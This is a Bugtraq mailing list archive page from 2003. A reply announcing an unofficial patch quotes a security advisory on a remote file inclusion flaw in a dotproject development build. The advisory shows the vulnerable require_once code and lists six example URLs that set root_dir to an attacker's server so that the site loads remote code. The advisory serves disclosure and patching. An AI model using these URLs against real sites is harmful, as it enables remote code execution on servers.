Bugtraq mailing list archives

Re: dotproject Remote Code Execution Vulnerability : Patch


From: "Frog Man" <leseulfrog () hotmail com>
Date: Wed, 29 Jan 2003 16:35:49 +0100


A non-official patch has been created for this hole and is published on
http://www.phpsecure.org/index.php?zone=pPatchA&sAlpha=d&l=us (english version) .





From: mindwarper () hush com
To: bugtraq () securityfocus com
Subject: dotproject Remote Code Execution Vulnerability
Date: Wed, 29 Jan 2003 04:02:24 -0800

dotproject Remote Code Execution Vulnerability (By Mindwarper)

<------- ------->

----------------------
Vendor Information:
----------------------

Homepage : http://www.dotproject.net
Vendor : informed
Mailed advisory: 28/01/03
Vender Response : None


----------------------
Affected Versions:
----------------------

dev20030121


----------------------
Vulnerability:
----------------------


dotproject is a PHP+MySQL beta level web based project management and tracking tool
that dotmarketing started in Dec. 2000.
Inside the directory /modules/ multiple files try to include classdefs/date.php without defining $root_dir first and allow remote attackers to inject their own
servers if globals are set on.

Example Code from modules/projects/addedit.php:

******

<?php
##
## Files modules: index page re-usable sub-table
##

require_once( "$root_dir/classdefs/date.php" );
$df = $AppUI->getPref('SHDATEFORMAT');
$tf = $AppUI->getPref('TIMEFORMAT');

******

As you can see nothing happens before the require_once function is called and therefore
with globals set on an attacker may include remote files.

Example:

http://victim/dotproject/modules/files/index_table.php?root_dir=http://attacker

this works also on

http://victim/dotproject/modules/projects/addedit.php?root_dir=http://attacker
http://victim/dotproject/modules/projects/view.php?root_dir=http://attacker
http://victim/dotproject/modules/projects/vw_files.php?root_dir=http://attacker
http://victim/dotproject/modules/tasks/addedit.php?root_dir=http://attacker
http://victim/dotproject/modules/tasks/viewgantt.php?root_dir=http://attacker


----------------------
Solution:
----------------------

Please check the vendor's website for new patches.

As a temporary solution, create a .htaccess file that contains 'Deny from all'. Place it in the /modules/ directory and that should block remote users from accessing it.


----------------------
Contact:
----------------------

Name: Mindwarper
Email: mindwarper () hush com
Website: http://mindlock.bestweb.net


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